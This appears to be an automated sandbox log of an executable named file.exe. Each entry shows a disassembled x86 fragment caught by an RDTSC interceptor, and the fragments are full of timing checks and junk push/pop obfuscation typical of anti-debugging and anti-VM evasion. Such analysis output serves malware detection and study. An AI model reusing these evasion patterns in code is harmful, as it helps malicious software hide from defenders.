Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596AB7 second address: 596ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596ABB second address: 596AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F2398D03469h 0x0000000c popad 0x0000000d push eax 0x0000000e push edi 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596AE2 second address: 596B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F239852C05Ah 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007F239852C05Eh 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a ja 00007F239852C05Ch 0x00000020 pop eax 0x00000021 lea ebx, dword ptr [ebp+124588D4h] 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007F239852C058h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 00000017h 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 xchg eax, ebx 0x00000042 push edi 0x00000043 push ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596BE0 second address: 596C0A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2398D03458h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F2398D03466h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596C0A second address: 596C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ecx 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596C1B second address: 596C1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596C1F second address: 596C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F239852C068h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596C3F second address: 596C9C instructions: 0x00000000 rdtsc 0x00000002 js 00007F2398D03456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F2398D0345Fh 0x00000014 pop eax 0x00000015 movsx edx, cx 0x00000018 push 00000003h 0x0000001a xor dword ptr [ebp+122D22E6h], ebx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007F2398D03458h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c push 00000003h 0x0000003e mov edx, edi 0x00000040 call 00007F2398D03459h 0x00000045 push eax 0x00000046 push edx 0x00000047 push ecx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596C9C second address: 596CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596CA1 second address: 596CCD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a jmp 00007F2398D03468h 0x0000000f pop ebx 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596CCD second address: 596CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596E2D second address: 596E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596E31 second address: 596E37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596E37 second address: 596E66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D03460h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e mov dx, E7BAh 0x00000012 mov di, E700h 0x00000016 push 09D9EBE9h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e ja 00007F2398D03456h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596E66 second address: 596F20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F239852C060h 0x0000000e popad 0x0000000f xor dword ptr [esp], 09D9EB69h 0x00000016 mov esi, 14BA0E3Bh 0x0000001b push 00000003h 0x0000001d or ecx, dword ptr [ebp+122D3751h] 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 jbe 00007F239852C058h 0x0000002c pushad 0x0000002d popad 0x0000002e pop ecx 0x0000002f push 00000003h 0x00000031 call 00007F239852C05Dh 0x00000036 jc 00007F239852C056h 0x0000003c pop edx 0x0000003d push 90D23855h 0x00000042 pushad 0x00000043 push esi 0x00000044 jmp 00007F239852C05Eh 0x00000049 pop esi 0x0000004a jmp 00007F239852C066h 0x0000004f popad 0x00000050 add dword ptr [esp], 2F2DC7ABh 0x00000057 lea ebx, dword ptr [ebp+124588E8h] 0x0000005d jmp 00007F239852C05Fh 0x00000062 push edi 0x00000063 movzx esi, ax 0x00000066 pop edi 0x00000067 xchg eax, ebx 0x00000068 jg 00007F239852C060h 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7BFE second address: 5B7C03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7C03 second address: 5B7C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jo 00007F239852C05Eh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6068 second address: 5B606D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6457 second address: 5B645B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6579 second address: 5B6588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007F2398D0345Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6588 second address: 5B659C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jne 00007F239852C05Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B659C second address: 5B65A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B682A second address: 5B6830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6830 second address: 5B68A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2398D0345Eh 0x00000009 popad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F2398D03469h 0x00000012 pop edi 0x00000013 jmp 00007F2398D03468h 0x00000018 push ebx 0x00000019 jmp 00007F2398D03461h 0x0000001e pop ebx 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F2398D03463h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B68A3 second address: 5B68AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B68AB second address: 5B68B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F5CF second address: 57F5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F239852C056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F5DB second address: 57F5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6E19 second address: 5B6E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B76AE second address: 5B76E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2398D0345Fh 0x00000009 jng 00007F2398D03456h 0x0000000f jc 00007F2398D03456h 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push ebx 0x00000019 pushad 0x0000001a popad 0x0000001b pop ebx 0x0000001c jns 00007F2398D0345Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7822 second address: 5B7828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7828 second address: 5B7833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7833 second address: 5B7837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA626 second address: 5AA651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2398D03456h 0x0000000a pushad 0x0000000b js 00007F2398D03456h 0x00000011 jmp 00007F2398D03464h 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7AD7 second address: 5B7AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F239852C056h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7AE3 second address: 5B7AE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9304 second address: 5B9326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C05Eh 0x00000007 jne 00007F239852C056h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007F239852C05Eh 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DAA2 second address: 57DAA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDD08 second address: 5BDD52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C066h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jmp 00007F239852C069h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jnc 00007F239852C056h 0x0000001c popad 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDD52 second address: 5BDD66 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c jo 00007F2398D0345Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDF6E second address: 5BDF86 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F239852C056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jc 00007F239852C056h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDF86 second address: 5BDF90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F2398D03456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C315A second address: 5C315E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C315E second address: 5C317D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 jmp 00007F2398D0345Eh 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F2398D03456h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C54F3 second address: 5C5503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F239852C05Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5503 second address: 5C5507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5C29 second address: 5C5C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5C2D second address: 5C5C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5C33 second address: 5C5C4D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F239852C05Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jng 00007F239852C05Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5C4D second address: 5C5C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5C55 second address: 5C5C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C986A second address: 5C9874 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2398D0345Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8FF5 second address: 5C9000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F239852C056h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9000 second address: 5C9006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9006 second address: 5C900A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAC11 second address: 5CAC16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C900A second address: 5C9024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F239852C05Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAE46 second address: 5CAE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 sub dword ptr [ebp+122D22E6h], eax 0x0000000f push 00000000h 0x00000011 add dword ptr [ebp+124854E5h], eax 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F2398D03458h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 stc 0x00000034 push eax 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 push esi 0x00000039 pop esi 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9024 second address: 5C902A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAE87 second address: 5CAE8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB89A second address: 5CB8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB96C second address: 5CB972 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC3A2 second address: 5CC3BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F239852C069h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC3BF second address: 5CC44B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2398D03456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F2398D03458h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov edi, esi 0x0000002b push 00000000h 0x0000002d mov di, si 0x00000030 mov esi, dword ptr [ebp+122D3729h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F2398D03458h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 mov di, si 0x00000055 pushad 0x00000056 jmp 00007F2398D03465h 0x0000005b mov eax, 0C5A0291h 0x00000060 popad 0x00000061 xchg eax, ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F2398D03460h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC14C second address: 5CC151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC44B second address: 5CC465 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2398D0345Ch 0x00000008 jng 00007F2398D03456h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007F2398D03456h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC465 second address: 5CC46E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CCF30 second address: 5CCF34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CCF34 second address: 5CCF3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CCF3A second address: 5CCF44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F2398D03456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD827 second address: 5CD831 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F239852C056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2748 second address: 5D274C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD831 second address: 5CD838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D274C second address: 5D2752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CECB second address: 58CECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CECF second address: 58CF15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F2398D03460h 0x0000000e jmp 00007F2398D03461h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F2398D03463h 0x0000001c jnl 00007F2398D03456h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CF15 second address: 58CF25 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F239852C056h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CF25 second address: 58CF45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F2398D03466h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58CF45 second address: 58CF4F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F239852C056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32BE second address: 5D32D3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2398D03456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F2398D03456h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4EA5 second address: 5D4EAF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F239852C05Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7D16 second address: 5D7D1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7D1C second address: 5D7D42 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F239852C058h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F239852C060h 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F239852C056h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8C6B second address: 5D8C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D03463h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7ECA second address: 5D7ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
